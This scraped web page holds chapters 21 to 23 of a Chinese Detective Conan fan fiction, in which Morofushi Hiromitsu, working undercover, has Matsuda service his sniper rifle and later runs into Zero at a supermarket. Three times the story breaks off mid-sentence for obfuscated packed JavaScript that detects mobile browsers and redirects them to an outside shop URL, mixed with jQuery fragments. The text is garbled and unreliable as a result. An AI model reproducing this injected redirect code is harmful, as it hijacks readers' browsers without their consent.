0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16933423|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十几个小时。 甚至为了某个目标,他们可以蹲守在一个位置带上几天几夜。这几天的生理需求都是通过压缩饼干之类的食物来补充。 在那段时间,他几乎没有什么机会和心情去超市买菜。 但是现在有了这个机会和时间,但是却没有了过去的那份心情。 诸伏景光把最后一口咖喱饭塞进嘴里,没有立刻站起身去洗盘子,而是一边咀嚼着、一边坐在餐桌上发呆。 他今天没有任务,原本是想去找松田套点话,没想到刚好碰见了莱伊,所以就干脆和莱伊一起练习了一下狙丨击技术。 遇到萩原更是巧合……可能在萩原那边不是吧。也不知道萩原是来找他的,还是和他原本的目的一样,是过来逗松田的。 ——是的,逗。 诸伏景光思索着自己的用词。 在那天宴会的情报任务之中,萩原研二毫无顾忌的表现出自己的“颜控”特性后。诸伏景光就很清楚,萩原绝对扛不住松田那张对他来说几乎称得上大杀器的脸。 如果萩原研二想讨一个人的欢心,他根本不可能让情况变成松田提到他就咬牙切齿的。 那么中间肯定有别的原因。 他那天否认了愤怒的松田口中“阳奉阴违不择手段”的朋友是zero。 并不是因为他自欺欺人。 而是,那不可能是zero。 ——也不能是zero。 如果这个世界是虚假的,依旧是他的幻想所填充的,是组织的阴谋——zero依旧是波本那样虚假的性格和形象。 在卧底期间,组织的波本和苏格兰的关系,表面上甚至不如苏格兰和莱伊的关系好。 那么为什么在松田口中,他和“波本”关系会好到、在松田生气的时候,甚至可以直接迁怒连带到他身上的程度? ……zero也暴露了吗? 是因为他的关系,导致zero暴露了? 诸伏景光只能想到这个可能。 如果不是zero暴露,否则波本和苏格兰怎么可能会是朋友? 那一瞬间,恐惧和慌乱几乎直接充斥填满了他的大脑。但是在一瞬间的害怕紧张之后,诸伏景光首先否认了这个可能。 所以松田口中的“朋友”绝不会是zero。 而萩原的出现,又恰好填补了松田口中那个阳奉阴违的情报人员的空缺。 那么事情就有趣起来了。 萩原竟然可以对着松田那张脸口吐恶言? 反正诸伏景光有些想象不能。 在没有第三个可能性的情况下,诸伏景光目前只能往萩原身上猜,而他不可能主动去找萩原试探、去暴露自己的问题。 所以最好的试探对象,自然是松田本人了。 “你们很闲吗?” 卷发的青年冷笑了一声,那双凫青的眼眸透着烦躁的锐利。 松田阵平抱着手,眉头紧皱,声音低沉而冷淡: “——一个接一个地过来找我茬?” 22.第 22 章 面对松田阵平的反应,诸伏景光在心底轻叹了一声。 ——他甚至还没有开口说什么,对方就已经把答案告诉他了。 黑发蓝眼的青年动作顿住,他抓着乐器包背带的手一紧,有些迟疑的、不确定地开口道:“那我就先不打扰了?” 松田阵平:“……” 松田阵平:“…………” 松田阵平不耐烦地抓乱了自己的卷发,还是那副皱眉的表情,他盯着面前看起来已经做好离开准备的青年,硬邦邦地开口:“你有什么事。” 诸伏景光也不犹豫,直白地把自己原本的目的说出口:“狙丨击丨枪的零件有些磨损,但是市面上找不到合适的,我想应该是因为你改装过的原因。” 听到这句话,卷发青年原本的不耐悄悄消散了一部分,他冷哼一声,伸出了手,“给我。” 诸伏景光把乐器包放下,把里面伪装的贝斯放在一边,取出了里面拆开的狙丨击丨枪。 松田阵平瞥了眼那明显有使用痕迹的贝斯,但更多的注意都放在了那支他送出去的武器身上。 房间里的灯打得很亮,松田阵平也没有什么招待客人的概念,拿着枪自顾自就坐到了自己的工作台前。 诸伏景光踮着脚避开地面上还没整理的零件,找了个地方落座,并没有随意开口打扰对方。 松田阵平把枪械拆开,一眼就看出来了诸伏景光所说的磨损是哪个位置。同时,他也看得出来狙丨击丨枪的使用频率,唇角无意识往上勾了勾,评价道:“你保养得不错。” 他从旁边的收纳盒里挑出合适的零件换上,“当时我把这里稍微改装了一下,不过看来你的习惯……嗯,我帮你调一下。” 说着,松田阵平就按照自己的想法又开始了改装和修整,压根没有询问狙丨击丨枪主人本身的想法。 诸伏景光也不开口,就这么安安静静坐在原位,看着松田阵平专注着自己手里的工作。 不得不说,这是非常值得欣赏的画面。 卷发的青年有着一双格外漂亮修长的手,骨节分明的手指相当灵活,指节屈起时勾住旁边黑色的零件,所有的动作行云流水。 从他的角度,还隐约可以看到对方手背上淡青色的血管。 大概是不常出门的关系,又可能是房间灯光的关系,松田阵平比他印象中还白了几度。 卷发因本人低头的动作垂落在额前,落下的阴影也只会更加衬托出那张脸——所以说,对着这张脸,萩原到底是怎么把人惹生气的? 从松田阵平刚刚的反应中已经得到了答案的诸伏景光,有些无法理解。 “谁知道他什么毛病。” “抢了我的交易线不说,还莫名其妙跑来我面前炫耀。”松田阵平把改装好又顺便保养了一通的狙丨击丨枪交给诸伏景光,心情明显比一开始好了不少。 他靠在门边,懒洋洋说道:“弄得好像我真的很在意一样。” 诸伏景光收拾东西的动作并未停下,声音很轻:“大概是因为主要目的并不是炫耀吧。” 松田阵平奇怪地看了他一眼:“什么?” “没什么。”诸伏景光背起乐器包,微笑着说道:“今天麻烦你了,松田。” 松田阵平盯着面前的黑发青年,冷光打在他们的身上。在对方打算离开时,卷发的青年才慢吞吞开口:“下次别找这么蹩脚的借口。” 在诸伏景光并未变化的微笑表情之中,松田阵平把门一关,只留下了一句:“在意的话,直接去问本人不就行了?” “……” 该说不愧是松田吗? 诸伏景光背着自己的乐器包,在心中感叹了一声。 他回了趟安全屋,把武器放下。在身边没有一个未来会叫做莱伊的卷王的情况下,绿川景的任务直线下降。 诸伏景光和公安的联络人完成定期的对接之后,回想起安全屋空荡荡的冰箱,打算去一趟超市。 既然想到了莱伊,要不试一下土豆炖牛肉? 但更想吃一点清爽的食物,还是荞麦面吧。 这么想着,诸伏景光看到货架上的意大利面,稍微犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16938588|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,于是篮筐里又多出了两盒意大利面。 在确认了晚上吃什么之后,诸伏景光还顺势挑选了一小袋的橙子,打算当做饭后水果。 明明是过去所期待的日常和普通,但是诸伏景光依旧感觉不到什么明确的真实感。 所有的一切——包括此刻进入超市购买食材的行动,都只是一种保证自己还活着的基础任务。 明明有好好挑选自己喜欢的东西,也满足了自己对食物的要求,甚至还有闲情逸致去书店借书打发时间。 黑发蓝眼的青年手里拎着两袋超市袋子,明明有着明确的目的地,也知道自己应该做什么,却有一种不知该前往何方的茫然。 就在走到一段下坡路的时候,他手中装着水果的袋子突然裂开了一个口子。诸伏景光蹲下身,及时捡起了往前滚落的水果,却依旧还有一个漏网之橙从他手边擦过。 那双眼尾上扬的蓝眼睛,慢了一拍才看向那个橙子往下滚落的方向。 橙黄色的水果咕噜咕噜地往前滚落,直到触碰到一双浅蓝色的帆布鞋,才无法继续向前。 那个被橙子挡住了去路的路人停下脚步,他弯下腰,捡起了橙子。 上挑的蓝色丨猫眼一眨不眨地盯着那个橙子,视野被橙子带着一点一点往上,穿着牛仔裤的双腿向前迈开,往着他的方向走来。 帆布鞋停下了脚步,此刻距离诸伏景光只有一米之遥。 “给。” 磁性干净的声音从上方传来,伴随而来的托着橙子的手,肤色格外特殊。 诸伏景光好像听到了什么屏障破碎的声音,像是玻璃从中心向外裂开,蔓延出蛛网一般的裂痕,声音绵长而清脆。 他保持着蹲着的动作抬起头,对上了一双下垂着的紫灰色眼睛。 诸伏景光好像听到了自己心脏的跳动声,一下又一下。 他张开嘴,想要说些什么,可是声音却无法从喉间溢出。 ‘啊……’ 诸伏景光缓慢地眨了下眼睛。 ‘——是zero啊。’ 23.第 23 章 时间在一瞬间被拉长了。 那双上挑的蓝色眼眸之中,倒映着的是一张辨识度极高的深肤色的俊秀面孔,金发的青年半弯着腰,想将手里的东西递给他。 但同一时间,一个更为年幼的男孩覆盖了他的身影。 同样的金发,同样的深肤,鼻尖覆盖着一张普通的创可贴,看起来有点不太高兴的样子。 黑发蓝眼的男孩仰头,看着那只向他伸来的手。 黑发蓝眼的青年抬头,对上那双下垂着的紫灰色眼眸。 诸伏景光终于听到了自己的声音。 轻缓而自然,没有一点多余的情绪。 “谢谢。”他说。 黑发青年将怀里的橙子放进那个完好的袋子之中,再接过那只深肤的手举着的橙子。 “不用谢。”金发男人垂着眼,在短暂的视线交错之后,他的目光就不再落在面前之人的身上。 他们就像是随处可见的、没有任何特殊的路人。一个人出现了小意外,于是另一个好心人顺手帮了忙。 小意外结束之后,被帮忙的那个人微微鞠躬表达感谢,帮忙的那个点头致意,然后毫不犹豫地擦肩而过。 诸伏景光觉得自己应该做些什么。 比如在表达感谢的时候,自我介绍说出自己的名字,顺势交换联系方式。 不用担心试探什么的,绿川景的身份是全新的,所有的社交都是由此刻的他把控的。 他可以继续自称绿川景,zero很聪明,会明白答案的。就和之前一样,在组织卧底的时候,他们毫无预兆地以苏格兰和波本的身份见面。在错愕之下,两人依旧反应极快,做足了陌生人的表象。 作为情报贩子的波本,依旧是那副神秘主义的傲慢派头。而作为狙丨击手的苏格兰寡言而沉默,只是偶尔会露出一道不知真假的微笑。 基安蒂不止一次地抱怨过波本的麻烦,她和琴酒一样,对波本这种性格的人过敏。 诸伏景光还记得自己在组织之中第一次见到波本的那天发生了什么。 当时他刚获取代号不久,苏格兰的名气在组织之中并不凸显,但是没有人会因为这一点而忽视他的能力,琴酒更是只看能力。也因此,诸伏景光第一时间就察觉到了琴酒在冷漠的性格下、对有能力的人诡异的包容。 当时他的脑海之中思考着这次的任务,想着未来或许可以试着利用一下琴酒。 而就在这时,一道脚步声出现在了他的耳边。 那本该是极其陌生的脚步声,轻盈又神秘,影子被房间里的灯光拉长——在组织里,他本不该有任何认识的人。 可是苏格兰看着那还未露出正脸,却提前被影子宣告答案的身影,似乎心脏都在一瞬间停止了跳动。 同样是刚刚获取代号不久的波本出现在了他们的面前,金发的混血儿靠着墙壁,目光扫过房间的所有人——他并未在角落戴着蓝色兜帽的青年身上停留多久,很快就将目光落在了最中心的琴酒身上。 熟悉的声音在他耳边响起,他听着琴酒和波本的对话,听着他们把话题扯到了苏格兰身上。 也听着那道轻浮又傲慢的口吻,似笑非笑地开口:“苏格兰?听说你的狙丨击技术不错。” 那双下垂的紫灰色眼眸之中看不到任何过去的影子,却在不被人注意到的角落之中,对他流露出了无声地询问和确认。 短短一瞬的视线交错不会、也不可能引起任何人的注意,波本用看不上行动人员的口吻嘲讽着开口,把房间里所有的狙丨击手都骂了进去。 那个金发的情报贩子说:“不过情报工作可不是只要会狙击就够的。” 可只有他知道,只有苏格兰知道,波本那轻浮的假象之下,覆盖着的是一个多么认真严肃的灵魂。 每一个看似轻易获取的情报,都是对方熬夜通宵、调查每一个可能性后做出的答案。 为了达成目的,完成任务,降谷零可以连续一个月每天只休息两三个小时,却不会显露出分毫的疲倦。 zero很纯粹,所以只要他主动,对方一定会停下脚步,认真听他说话。 可是直到那道金发的身影和自己擦肩而过,脚步声慢慢远离,诸伏景光都不曾开口说出第二句话。 他只是看着那道背影离开,脑海中浮现出刚刚和对方短暂的对视。 诸伏景光回忆着那双熟悉的紫灰色眼眸,所有的思考和犹豫都消失了,只余下了一个想法。 ——zero,看起来很累的样子。 …… 诸伏景光是世界上最了解降谷零的人。 没有之一。 黑发蓝眼的青年拎着袋子回到了安全屋之中,不同于过去的每一次轻飘飘的虚幻感,这一次,诸伏景光推开安全屋的大门,终于有了一种踩在实地的真实感。 就如那些浮现在他脑海之中的画面一般,光是个照面,就将所有的记忆都从他的心底挖掘了出来。 那些画面之中,穿着警校制服的友人最先出现,热闹欢快的氛围将他包裹在其中,好像能让他短暂地脱离过去的阴影。 而松田就是那个最先踩下油门的人,毫无顾忌冲到他面前,把他的阴影、把他的过去全都拽到阳光下暴晒,并且对他承诺:“我们不会死的!” 于是恐惧害怕着将危险带给身边之人的诸伏景光怔愣在了原地,像是被人从身后推了一把,终于从缠绕着他的噩梦之中脱离。 萩原研二支着扫帚站在他的旁边,唇角带着笑,弯起的眼眸之中倒映着卷发和金发的两个人。 他说:“作为阵平的好友,我都有点嫉妒了。“* 他说出口的话语同样是诸伏景光隐隐所察觉到的情绪,可对方的体贴绝不会直白点明这一点。半长发的青年调侃着感叹一声,便将这份浅淡的情绪略过,两人皆为亲友结识新的朋友感到喜悦。 班长更是正直友善的警察,从第一次见面时就做出了守护的姿态,对他人对混血儿的态度极其敏感。 在还未理解父亲之前,伊达践行着自己的理念,他说:“如果你不变的比任何人都强,是无法践行正义的!”* 正义又执着,强大且善良,伊达航就像是不会移动不会折断的道标,永远伫立在那里。 他们的声音仿佛还在耳侧,记忆铭刻在警校的那段时间。 松田的面前摆放着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16943556|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被拆解开的手表,认真研究着是哪个零件出现问题。萩原靠在窗边,半长发被风吹起摇摆,仿佛像是风筝一般随时会飘走。 可是很快,半长发的青年就收回看向窗外的视线,对着房间里的他们露出笑容,笑着分享说:“你们知道吗,隔壁的小川……” 伊达被新的传言吸引了注意,露出了惊讶的表情。 当然,还有zero。 zero是会在和松田打架后,伤痕累累地敲开他的门的亲友。 是在组织看到他时,游刃有余的假面下浮现出惊愕的波本。 更是幼年时,对待因为失语而无法开口的他,主动伸出手的“hero”。 他们互相陪伴了对方十几个春夏秋冬,从7岁那年对方主动伸出的那只手为起点,诸伏景光的生命之中就再也无法忽视他留下的碎片和存在。 他们伴随着记忆和过往一点一点容纳进“诸伏景光”这个个体的灵魂,人生近乎过半的时间都有对方的存在。 而今天,他对上了那双绝不会陌生的、最为熟悉的下垂着的眼眸,那道紫灰的色彩之中,包裹着是诸伏景光绝不会错认的灵魂。 属于真实的重量,透过那颗橙子传递到了他的手中。 于是手中握着的超市袋子变沉了,落在他身上的阳光变得暖和起来,寒风吹拂过脸颊却又是冰冷的触感。 他的安全屋不大,但是该有的厨房和卫生间都没有落下,卧室被单独隔开。 诸伏景光打开冰箱,放下袋子,用蔬果和食物的色彩,一点一点填充原本空荡单调的空间,散发出过去一段时间从未有过的、属于生活特有的气息。 诸伏景光认可了这个世界。 从在这个世界睁开眼的那一刻,一直紧绷着从未放松的神经——第一次悄悄地松懈了下来。 黑发蓝眼的青年靠坐在沙发边缘,疲倦在此刻瞬间翻涌而上,他支着脑袋,呼吸的节奏慢慢变长。 诸伏景光睡着了。 “叮咚——” 门铃声不合时宜地响了起来,清脆的声音让坐在沙发上的青年睁开了眼睛。 眼尾上挑的眼眸带着刚睡醒时的淡漠和不明显的倦怠,黑发青年并未立刻看向门铃声响起的大门口。 他垂下眼,保持着靠坐在沙发上的姿势,抬起手臂,带着茧子的指腹触碰着被衣领布料遮挡的脖颈处。伤疤的触感并不算明显,可相比较其他皮肤依旧格外突出。 青年的指尖一点一点摸索确认伤疤所在的位置,哪怕不照镜子,他都可以想象到这道由利刃留下的自丨杀刀痕是什么模样。 门口的门铃声已经消失了,随后响起的是窸窸窣窣用钥匙开门的动静。 黑发青年依旧未曾将注意力放在门口,他只是在大门被推开前,收回了手指。而自带弹性的黑色布料再度重新回到原来的位置,覆盖了脖颈的皮肤。 在短暂的沉默后,低笑声从他的喉间溢出,连带着被布料包裹的喉结都稍稍颤动了一下。 诸伏景光的手搭在沙发上,上挑的灰蓝色眼眸之中带着不达眼底的笑意,他自言自语般喃喃。 “——对别人的身体,还真过分啊。”